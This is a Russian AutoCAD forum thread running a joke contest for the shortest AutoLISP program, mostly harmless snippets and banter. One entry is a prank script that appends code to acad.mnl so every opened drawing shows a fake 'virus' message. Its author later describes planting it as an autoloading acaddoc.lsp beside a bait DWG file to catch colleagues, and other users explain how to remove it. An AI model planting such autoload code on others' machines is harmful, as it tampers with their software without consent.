Конкурс на лучший короткий лисп

Конкурс на лучший короткий лисп · 25.12.2010, 15:43

Предлагаю провести конкурс на лучшую короткую лисп программу

Условия:
1. Не плагиат...
2. длина программы - не более 1 kb...
3. Каждый может выставлять любое количество программ... на свое усмотрение...
4. Победитель определяется по количеству благодарностей...
5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте...

От себя выставлю такую программку

Код:

[Выделить все]

(defun c:testent ()
  (vl-load-com)
  (cond
	((vl-catch-all-error-p
	  (vl-catch-all-apply
		'(lambda ()
		  (vlax-dump-object
			(vlax-ename->vla-object
			  (car (entsel))))))))
	((textscr))
  )
  (princ)
)

Profan · 25.12.2010, 19:13

Код:

[Выделить все]

(setvar "filedia" 1)

Vildar · 25.12.2010, 19:49

Profan, те, кто сталкивается с ситуацией filedia=0, понятия о ней не имееют.
Развивая идею. Красная кнопка - аварийная, как в машинах. При нажатии на которую выводится форма с описанием всех основных чрезвычайных ситуаций и способах выхода из них.

Li6-D · 25.12.2010, 20:01

Функция вычисляет периметр эллипса по двум его полуосям.

Код:

[Выделить все]

(defun Ellipse_Circumference (a b / S)
  (setq S (mapcar '(lambda (a) (float (abs a))) (list a b)) a (apply 'max S) b (apply 'min S))
  (if (zerop b) (* 4 a)
    (progn
      (setq S (mapcar '* S S) b (cons b (abs (apply '- S))) S (apply '+ S))
      (while (> (cdr b) 0)
        (setq b (cons (sqrt (* a (car b)))
                  (* 0.5 (1- (/ a (setq a (* 0.5 (+ a (car b)))))) (cdr b)))
              S (- S (cdr b))
      ) )
      (/ (* pi S) a)
) ) )

lastloch · 25.12.2010, 20:40

Функция отоображает колесо истории:

Код:

[Выделить все]

(alert "Кукуруза, Коммунизм, Перестройка, Ускорение, Демократия, Модернизация, Нанотехнолгии, .....")

Елпанов Евгений · 25.12.2010, 22:13

Функция для особо сложных случаев...

Код:

[Выделить все]

(defun c:?? ()
 (if
  (=
   (acet-ui-message
    "В вaшей совести не остaлось достaточно местa для совершения поступкa.\n\n\tОчистить совесть?"
    "Предупреждение"
    17
   )
   1
  )
  (acet-ui-message "Вaшa совесть очищенa.\nТеперь вы можете совершить этот поступок."
                   "Сообщение"
                   64
  )
 )
)

Supermax · 25.12.2010, 22:38

(defun exit () (exit))

Profan · 26.12.2010, 07:51

А эта чем хуже?

Код:

[Выделить все]

(defun Ура () (Ура))

Krieger · 26.12.2010, 08:27

Коротенький, незатейливый, но достать может

Код:

[Выделить все]

    (setq aa (open (findfile "acad.mnl") "A"))
  (write-line
    "(entmake '((0 . \"MTEXT\") (100 . \"AcDbEntity\") (100 . \"AcDbMText\") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")
    )
  )
  (command \"_Zoom\" \"_Object\" \"_Last\" \"\")"
    aa)
  (close aa)
  (setq aa nil)
  )
(entmake '((0 . "MTEXT") (100 . "AcDbEntity") (100 . "AcDbMText") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . "Здравствуйте, я ВИРУС!!!\\PК сожалению, программист, который меня\\Pписал ничего из себя не представляет.\\PПоэтому, пожалуйста, удалите у себя \\Pкакой-нибудь важный файл и передайте \\Pменя своим друзьям.")
    );list
  );list entmake
  (command "_Zoom" "_Object" "_Last" "")

Vov.Ka · 26.12.2010, 16:36

Код:

[Выделить все]

(defun *error* (msg) (while t))

hwd · 26.12.2010, 20:49

(princ "Welcome to .net")(princ)

Apelsinov · 26.12.2010, 23:16

тема порадовала идиотизмом

Но она навеяла на мысль и вправду устроить небольшой конкурс, на немного других условиях:
конкурс на самый полезный лисп, по мнению посетителей этого форума. Код публикуем тут, или даем ссылку на сообщение на форуме. Голосуем "спасибом" на сообщение с кодом.

Еще раз повторюсь, конкурс не на профессиональность, оригинальность, или вообще хорошесть кода, а на его популярность среди посетителей форума.

ну мне кажется может быть интересно, потом подсчитаем голоса, и обозначим лидеров. Это как идея.

Sleekka · 26.12.2010, 23:29

Код:

[Выделить все]

(defun trp (m)
;; TRP Transpose a matrix -Doug Wilson-
  (apply 'mapcar (cons 'list m))
)

gomer · 26.12.2010, 23:56

Цитата:

Сообщение от Apelsinov

тема порадовала идиотизмом

Цитата:

Сообщение от Apelsinov

конкурс на самый полезный лисп, по мнению посетителей этого форума.

Эммм... полезность не оговаривалась ввиду целевой направленности языка AutoLisp... то бишь учитывалась по умолчанию...

ShaggyDoc · 27.12.2010, 06:40

Бессмысленный "конкурс". Кто сильнее - кит или слон.

"Короткость" ни о чем не говорит. Вот я когда-то делал работающий EXE размером 0 байтов - абсолютный чемпион. Но толку-то от такой программы.

Да и разница между "программой" и "функцией" в AutoCAD большая.

Вот, например, приведенная в #13 функция
(apply 'mapcar (cons 'list m))
является, возможно, самой красивой и эффективной в мире (для меня точно). Но много ли её здесь применяют? И её, даже обернув в defun нельзя использовать как программу.

А код Profan из #2 хоть и примитивен, но очень популярен. Чем не кандидат?

Что касается полезности, то из опубликованного на сайте, на мой взгляд, таким лидером является набор PLTools от VVA. Код далеко не краткий, но чрезвычайно полезный всем. Да и сделано мастерски, причем со справочной системой. Что совсем уж редко бывает.

gomer · 27.12.2010, 08:31

Цитата:

Сообщение от ShaggyDoc

А код Profan из #2 хоть и примитивен, но очень популярен. Чем не кандидат?

Код Profan оформляется в виде макроса в меню с галкой... имхо гораздо нагляднее
Согласен... PLTools от VVA - один из примеров для подражания ( я не сильно смотрел сам код...) в отличие от проката В Кондрата, который я хоть и окультурил чуть чуть но ничего серьезного так и не смог сделать...

AlexV · 27.12.2010, 08:48

Не претендую на звания "самый лучший" или "самый полезный".. Но вот на "самый короткий", - попробую:

Код:

[Выделить все]

()

Сергей Дубина · 27.12.2010, 09:03

поскольку в лиспе ни черта не соображаю предложу следующее:
format c:

Profan · 27.12.2010, 09:11

Код:

[Выделить все]

Команда: (format c:)
no function definition: FORMAT
 Аварийное завершение команды!

Supermax · 27.12.2010, 09:57

Цитата:

5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте...

Увы, а может и слава богу, но кирпич на голову падает не каждый день.
Написать удачно и красиво могут многие, но ОЧЕНЬ редко.
Хороший поэт, а программирование, это безусловно поэзия, именно потому хороший, что одаренный, и стихов пишет много, из которых много красивых.
Давть звание "лучшего лиспописателя коротких лиспов" можно только по совокупному труду, а не по одному удачному "заплыву".

Здесь будет просто "Победитель конкурса на самый лучший короткий лисп 2010 года".
Нормальная "медалька". Я бы от такой не отказался. Да и настоящую медальку с дипломом можно сварганить.

Можно сделать конкурс:
- на самый лучший лисп-шутка
- на самый лучший лисп с расчетами
- на самый лучший лисп по облегчению труда
- на самую полезную работу (в смысле как с полилиниями или с прокатом)
- на самую оригинальную идею
и т.п.

А на главной страние добавить слева рубрику "конкурсы", а в ней "галлерея славы"
Вот там и медальки (только в 3D dwg) давать, и дипломы.

gomer · 27.12.2010, 17:55

Цитата:

Сообщение от AlexV

Не претендую на звания "самый лучший" или "самый полезный".. Но вот на "самый короткий", - попробую:

Чтоб обрезать намерения создать самый короткий лисп предложу свой вариант:

Код:

[Выделить все]

ну и самый короткий:

Li6-D · 27.12.2010, 21:32

В конкурсах перед всеми конкурсантами должна быть поставлена одна и та же задача.
Критерий победы - минимальное количество символов, без учета комментариев, подсказок (текста в кавычках), пробелов и табуляции. Скорость выполнения кода не учитывается, если нет зависания.
Осталось договориться откуда брать конкурсные задачи (можно из форума, если они поставлены корректно, но ответа пока не дано).
Например такая: написать код для подсчета количества значимых символов в коде.

AlexV · 27.12.2010, 22:37

Цитата:

Сообщение от gomer

Чтоб обрезать намерения создать самый короткий лисп предложу свой вариант:

Код:

[Выделить все]

ну и самый короткий:

Я конечно не лиспописатель, и даже не лиспочитатель..

Но автокад эти лиспы тоже не понимает..

Код:

[Выделить все]

Команда: ;
Неизвестная команда ";".  Для вызова справки нажмите F1.
Команда: :)
Неизвестная команда ":)".  Для вызова справки нажмите F1.

Кулик Алексей aka kpblc · 27.12.2010, 23:28

Вообще-то на theswamp.org очень много самых разных конкурсов. Обычно их проводят так: автор темы объявляет какую-либо задачу (например, "Соединить отрезками любые две пары точек, расстояние между которыми не превышает заданного значения". При необходимости прикладывается пример dwg (в оговоренном формате - 2004, 2007 или 2010), показываются картинки: что есть изначально и что должно получиться в конце. Автор (как правило) показывает свое решение.
И народ начинает решать поставленную задачу. Кто быстрее, кто универсальнее, кто устойчивее... Бывает, что показываются решения на нескольких языках программирования.
Ну и заголовок выделяется, например: "-- { Конкурс } -- <Название конкурса>".

gomer · 28.12.2010, 00:23

Цитата:

Сообщение от AlexV

Я конечно не лиспописатель, и даже не лиспочитатель.. Но автокад эти лиспы тоже не понимает..

Не понимает... эту библиотеку нужно подгружать из файла:

Код:

[Выделить все]

(load "empty.lsp") ; empty.lsp - пустой файл

VVA · 28.12.2010, 10:06

Цитата:

Сообщение от Кулик Алексей aka kpblc

"-- { Конкурс } -- <Название конкурса>".

Идея хорошая. В качестве первого примера (немного изменив тему):
Конкурс. Пребразование в число при возможности

Profan · 28.12.2010, 10:43

А судьи кто? Судьями должны быть пользователи, ЯТД.

AlexV · 28.12.2010, 10:45

Цитата:

Сообщение от Profan

А судьи кто?..

А призы где?

Profan · 28.12.2010, 10:47

А где деньги?

gomer · 28.12.2010, 16:46

Цитата:

Сообщение от Profan

А судьи кто?

Цитата:

Сообщение от AlexV

А призы где?

Цитата:

Сообщение от Profan

А где деньги?

Код:

[Выделить все]

(defun question (be / tmp)
 (or (setq tmp (+ be be)) (not tmp))
)

Кулик Алексей aka kpblc · 28.12.2010, 22:43

Цитата:

Сообщение от VVA

Идея хорошая. В качестве первого примера (немного изменив тему):
Конкурс. Пребразование в число при возможности

Если автор будет не против... Хотя там начального кода от автора не было, ну да ладно - первый ком блином

---
Добавлено: Автор темы http://forum.dwg.ru/showthread.php?t=61712 дал добро, я название изменил

ashas- · 06.01.2011, 12:46

Цитата:

Сообщение от Krieger

Коротенький, незатейливый, но достать может

Код:

[Выделить все]

    (setq aa (open (findfile "acad.mnl") "A"))
  (write-line
    "(entmake '((0 . \"MTEXT\") (100 . \"AcDbEntity\") (100 . \"AcDbMText\") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")
    )
  )
  (command \"_Zoom\" \"_Object\" \"_Last\" \"\")"
    aa)
  (close aa)
  (setq aa nil)
  )
(entmake '((0 . "MTEXT") (100 . "AcDbEntity") (100 . "AcDbMText") (10 0.0 23.75 0.0) (41 . 95.6647)
    (1 . "Здравствуйте, я ВИРУС!!!\\PК сожалению, программист, который меня\\Pписал ничего из себя не представляет.\\PПоэтому, пожалуйста, удалите у себя \\Pкакой-нибудь важный файл и передайте \\Pменя своим друзьям.")
    );list
  );list entmake
  (command "_Zoom" "_Object" "_Last" "")

Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может

.

AlexV · 06.01.2011, 13:00

Цитата:

Сообщение от ashas-

Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может

.

Цитата:

(1 . \"Здравствуйте, я ВИРУС!!!\\\\PК сожалению, программист, который меня\\\\Pписал ничего из себя не представляет.\\\\PПоэтому, пожалуйста, удалите у себя \\\\Pкакой-нибудь важный файл и передайте \\\\Pменя своим друзьям.\")

Важный файл удалял? Друзьям лисп передавал? По колесам системному блоку стучал? Антивирус бензином протирал?

К автору обращался?

почитай эту тему..

Li6-D · 06.01.2011, 13:16

Цитата:

Сообщение от ashas-
Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может

Этот лисп дописывает в файл "acad.mnl" строчки вида:
(entmake ... (command "_Zoom" "_Object" "_Last" "").
Надо удалить эти строчки оттуда ручками.
Быстро узнать путь к файлу можно с помощью (findfile "acad.mnl")

ashas- · 06.01.2011, 13:48

Цитата:

Сообщение от Li6-D

Этот лисп дописывает в файл "acad.mnl" строчки вида:
(entmake ... (command "_Zoom" "_Object" "_Last" "").
Надо удалить эти строчки оттуда ручками.
Быстро узнать путь к файлу можно с помощью (findfile "acad.mnl")

Спасибо!

VES1 · 06.01.2011, 13:58

Цитата:

Сообщение от lastloch

Функция отоображает колесо истории:

Код:

[Выделить все]

(alert "Кукуруза, Коммунизм, Перестройка, Ускорение, Демократия, Модернизация, Нанотехнолгии, .....")

Слава Богу не мировой.

Krieger · 06.01.2011, 16:52

Цитата:

Сообщение от ashas-

Здраствуйте! Я ввел у себя этот лисп ))), и теперь не знаю как от него избавиться (в силу своих знаний). Помогите пожалуйста кто может

.

+1
Ну, таблетку дали...
Вообще, нужно создать файл acaddoc.lsp с этим текстом и отправить его жертве вместе с файлом *.dwg (оба в одной папке). Жертва открыв чертеж автоматически получит то, что получил ты. Только на работе так не делай, а то вот мой директор меня чуть в ментовку не сдал

AlexV · 06.01.2011, 17:02

Цитата:

Сообщение от Krieger

+1
Ну, таблетку дали...
Вообще, нужно создать файл acaddoc.lsp с этим текстом и отправить его жертве вместе с файлом *.dwg (оба в одной папке). Жертва открыв чертеж автоматически получит то, что получил ты. Только на работе так не делай, а то вот мой директор меня чуть в ментовку не сдал

Krieger, ты наверное работу менял, и решил над недобрым шефом на старой работе пошутить?

Однако, претендент на приз есть!

А механизм етого лиспа каков? Добавляет в acad.mnl функцию "aa", которая подменяет Zoom, выбор объектов и ввод последней команды созданием соответствующего МТекста?

gomer · 06.01.2011, 20:25

>AlexV: А слабо в стихах налиспить

AlexV · 06.01.2011, 20:45

Цитата:

Сообщение от gomer

>AlexV: А слабо в стихах налиспить

Увы, не знаю я этот язык почти.. Могу наVBA-ть..

Krieger · 07.01.2011, 14:01

Цитата:

Сообщение от AlexV

Krieger, ты наверное работу менял, и решил над недобрым шефом на старой работе пошутить?

Однако, претендент на приз есть!

А механизм етого лиспа каков? Добавляет в acad.mnl функцию "aa", которая подменяет Zoom, выбор объектов и ввод последней команды созданием соответствующего МТекста?

Да нет. Функция не создаётся и ничего не подменяет. Просто с открытием каждого файла будет писаться этот текст, а экран будет позиционироваться на этом тексте. Потом можно его просто удалить и продолжить нормально работать.

Offtop: Написал эту шутку для особо любопытных, которые любят шарить по чужим компам через сеть. Создал у себя папку с названием "Не смотреть", в папке создал dwg файл с названием 3D_Model_BMW_X5_(не смотреть).dwg и рядом acaddoc.lsp с этим кодом. Пока я был в конторе один человек попался, подошел ко мне, мы поржали и я ему все исправил, делов то... А потом я уехал в командировку на 2 недели... Даже когда меня не было, мой компьютер все равно включали так как на нем принтер висел. А еще нам отрезали интернет, и у меня был беспроводной usb модем (остальные через телефон выходили), который у меня лежал на столе. Вот, пока меня не было, с другого этажа человек посмотрел эту 3d модель, сказал соседу, мол, смотри прикол. Тот тоже посмотрел. Ну и еще пара человек посмотрели. А на следующий день заныли. Вызвали нашего гипер системного администратора (я про него уже говорил в теме БСК). Он ничего сделать не смог. Решил переустановить AutoCAD - не получилось, так как файлы настроек пользователя то он не чистил, все как было так и осталось. Мля..., серьёзный вирус..., подумал он, и переустановил у всех Windows. После этого проблема решилась. Я вот только не понял, чего никто мне не позвонил... Ну это все фигня, если бы наша бухгалтерия в тот же самый период не подцепила от куда то серьёзный вирус, из-за которого она не могла какие-то деньги перечислить. В общем всех собак на меня повесили. Тем более что у меня был usb модем (ну главная опасность то из интернета), который в мое отсутствие экспроприировали. Когда я приехал был сюрприз

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Интересно где работают ЛИСП программисты?	dextron3	LISP	114	17.12.2017 13:53
Лисп включение панели, если включена, то не срабатывает	dextron3	LISP	4	14.11.2009 12:59
Лисп: моментальное редактирование цифр в предложениях	dextron3	LISP	12	27.09.2008 09:33
Лисп для копирования данных нескольких мтекстов по принципу расположения.	Red Nova	LISP	14	18.06.2008 22:08
Нужен лисп (пронизыватель лайаутов)	dextron3	LISP	91	25.07.2007 07:37

25.12.2010, 15:43		#1
Конкурс на лучший короткий лисп gomer строю, ломаю Украина Регистрация: 03.04.2008 Сообщений: 5,515 Предлагаю провести конкурс на лучшую короткую лисп программу Условия: 1. Не плагиат... 2. длина программы - не более 1 kb... 3. Каждый может выставлять любое количество программ... на свое усмотрение... 4. Победитель определяется по количеству благодарностей... 5. Победитель будет считаться лучшим лиспописателем коротких программ на сайте... От себя выставлю такую программку Код: [Выделить все] (defun c:testent () (vl-load-com) (cond ((vl-catch-all-error-p (vl-catch-all-apply '(lambda () (vlax-dump-object (vlax-ename->vla-object (car (entsel)))))))) ((textscr)) ) (princ) )
Просмотров: 9260